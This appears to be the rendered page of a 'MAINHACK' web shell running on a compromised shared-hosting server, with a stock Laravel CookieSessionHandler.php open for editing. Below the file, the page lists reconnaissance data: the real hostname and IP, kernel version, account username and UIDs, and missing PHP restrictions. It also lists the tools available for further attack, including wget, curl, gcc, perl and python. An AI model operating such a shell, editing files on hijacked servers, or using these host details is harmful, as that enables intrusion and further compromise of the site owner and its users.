[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CookieSessionHandler.php
<?php namespace Illuminate\Session; use Illuminate\Contracts\Cookie\QueueingFactory as CookieJar; use Illuminate\Support\InteractsWithTime; use SessionHandlerInterface; use Symfony\Component\HttpFoundation\Request; class CookieSessionHandler implements SessionHandlerInterface { use InteractsWithTime; /** * The cookie jar instance. * * @var \Illuminate\Contracts\Cookie\Factory */ protected $cookie; /** * The request instance. * * @var \Symfony\Component\HttpFoundation\Request */ protected $request; /** * The number of minutes the session should be valid. * * @var int */ protected $minutes; /** * Create a new cookie driven handler instance. * * @param \Illuminate\Contracts\Cookie\QueueingFactory $cookie * @param int $minutes * @return void */ public function __construct(CookieJar $cookie, $minutes) { $this->cookie = $cookie; $this->minutes = $minutes; } /** * {@inheritdoc} * * @return bool */ public function open($savePath, $sessionName): bool { return true; } /** * {@inheritdoc} * * @return bool */ public function close(): bool { return true; } /** * {@inheritdoc} * * @return string|false */ public function read($sessionId): string|false { $value = $this->request->cookies->get($sessionId) ?: ''; if (! is_null($decoded = json_decode($value, true)) && is_array($decoded) && isset($decoded['expires']) && $this->currentTime() <= $decoded['expires']) { return $decoded['data']; } return ''; } /** * {@inheritdoc} * * @return bool */ public function write($sessionId, $data): bool { $this->cookie->queue($sessionId, json_encode([ 'data' => $data, 'expires' => $this->availableAt($this->minutes * 60), ]), $this->minutes); return true; } /** * {@inheritdoc} * * @return bool */ public function destroy($sessionId): bool { $this->cookie->queue($this->cookie->forget($sessionId)); return true; } /** * {@inheritdoc} * * @return int */ public function gc($lifetime): int { return 0; } /** * Set the request instance. * * @param \Symfony\Component\HttpFoundation\Request $request * @return void */ public function setRequest(Request $request) { $this->request = $request; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285